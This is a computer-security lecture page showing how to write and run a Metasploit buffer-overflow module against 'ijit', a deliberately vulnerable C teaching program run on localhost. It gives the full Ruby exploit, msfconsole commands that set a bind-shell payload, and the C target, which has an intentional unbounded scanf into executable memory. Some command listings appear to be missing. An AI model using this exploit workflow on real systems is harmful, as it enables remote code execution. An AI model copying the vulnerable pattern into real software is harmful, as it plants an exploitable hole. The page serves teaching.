Buffer Overflow Part 3: Metasploit

Computer Security Lecture, Dr. Lawlor

Metasploit is a reusable Ruby framework for building offensive tools for attacking machines. 
Metasploit installation is initially quite painless on a recent Linux machine, or it's part of several tool distributions like Kali.  The default install location is /opt/metasploit-framework/embedded/framework/modules/. 

To start metasploit command line, run
    msfconsole

Making the Database Connection

By default metasploit relies on a database, postgres, which has a bad habit of unpredictably failing and preventing msfconsole from even starting.  And it takes at least a few seconds to start normally, so it's hard to distinguish from a hang.  (msfconsole will also hang on startup or reload_all if it finds anything executable inside your modules directory, even a shell script or git commit hook--it will run it and wait forever for it to respond to jsonrpc calls.)

To verify postgres is running, try a netstat and make sure you have a process named postgres listening on TCP port 5433; if not, you need to start postgres manually, for example with one of these commands:
If msfconsole hangs at startup, you can press ctrl-C twice (!) to stop it attempting to connect to the database, giving you an msfconsole.  db_status will show the database status.  You may need to reconnect to the database with something like this:

Writing a Buffer Overflow Exploit Module

Metasploit Unleashed has a good section on "Exploit Development".

Rapid7's design rationale for their exploit modules

I wrote a tiny metasploitable buffer overflow example program called ijit.  (It's called ijit because it's in the style of a heap-based exploit for a Just-In-Time (JIT) compiler.) 

To use it from a Linux machine, first softlink this code into your metasploit modules directory:
cd
git clone https://github.com/olawlor/ijit
mkdir -p ~/.msf4/modules/exploits/linux/ijit cd ~/.msf4/modules/exploits/linux/ijit ln -s ~/ijit/ijit.rb .
(Don't check out directly into modules/exploits, that will make msfconsole hang at startup when it sees the executable git hooks!)

Now compile and run the vulnerable program (compiled here as a 32-bit x86 program):
cd ~/ijit
gcc -m32 ijit.c -o ijit32 
nc -l -p 8888 | ./ijit32
I'm using netcat to bolt TCP port 8888 to the vulnerable program's standard input.   Leave the vulnerable program running.

In another terminal, exploit it with msfconsole. 
msfconsole
use exploit/linux/ijit/ijit 
reload
show targets
set target 0
show options
set RHOST 127.0.0.1
show nops
set nop x86/single_byte
show payloads
set payload linux/x86/shell/bind_tcp exploit

If it doesn't work, make sure the vulnerable process is running and your network works, and hit "exploit" again.
If it works, you get a shell on the target machine.  Type "exit" or kill the far side to get back to msfconsole.

Here's the modules/exploits/linux/ijit/ijit.rb metasploit script.  msfconsole "reload" is useful anytime you change this script.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'ijit Demo Buffer Overflow',
'Description' => %q{
Simple demo buffer overflow for custom "ijit" server.
},
'Author' => [ 'OSL' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', 'xxxx-yyyy' ]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x20\x0a\x0d\x0b\x0c\x09",
},
'Platform' => 'linux',
'Targets' =>
[
[ 'ijit buffer start', { 'Ret' => 0x3badc040 } ],
[ 'ijit sled middle', { 'Ret' => 0x3badc240 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'November 2017'))

register_options(
[
Opt::RPORT(8888)
])
end

def exploit
print_status("Connecting to target...")
connect

sock.get_once

shellcode = payload.encoded
outbound = rand_text_alphanumeric(32) + payload.encoded + [target.ret].pack('Q')
print_status("Outbound data: \"#{outbound}\"")
hexed = shellcode.dump
print_status("Payload in hex: \"#{hexed}\"")

print_status("Trying target #{target.name}...")

sock.put(outbound)

handler
disconnect
end
end
(In making this actually work, the hardest part was finding all the BadChars.  The payload byte copy will stop early if you send over a bad character, leaving half-finished shellcode that usually crashes with Illegal instruction.)

The vulnerable C code is below.    
/**
ijit: interactive Just-In-Time compiler
UNIX program designed to be a relatively reliable simple target
for buffer overflow attacks.
Compile and run on TCP port 8888 with:
gcc ijit.c -o ijit
nc -l -p 8888 | ./ijit
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

struct ijit_code;

/** This function pointer runs the jit'd code */
typedef void (*ijit_interpreter)(struct ijit_code *code);

/** This struct stores a block of jit code */
struct ijit_code {
char name[32]; /* run name */
char jitted[1024]; /* machine code to run */
ijit_interpreter interp; /* fallback interpreter function */
};

int main() {
/* Allocate executable area to store JIT code: */
struct ijit_code *code=(struct ijit_code *)mmap(
(void *)0x3badc000, /* pointer to base address of new jit_code structure */
4096, /* bytes of code to run */
PROT_READ|PROT_WRITE|PROT_EXEC, /* allow anything: RWX */
MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, /* allocate memory where I say */
-1, 0 /* file descriptor and offset not used. */
);
if (code==(struct ijit_code *)-1) {
perror("mmap"); exit(1);
}

/* Set up structure */
code->interp=0;
printf("Loading name into code struct at %p...\n",(void *)code);

/* VULNERABILTY HERE: read name *without* checking name length. */
if (1!=scanf("%s",code->name)) {
printf("ERROR in scanf. Exiting.\n"); exit(1);
}
printf("Loaded name %s (%zd bytes)\n", code->name, strlen(code->name));

/* Run the code */
if (code->interp) {
printf("Seems to be an interpreter at %p: running it...\n",(void *)code->interp);
code->interp(code);
printf("Back from interpreter.\n");
} else {
printf("No interpreter found. Exiting.\n");
}
return 0;
}

Here I'm allocating the jit_code space using mmap for two reasons:
This is just a tiny taste of the full power of metasploit.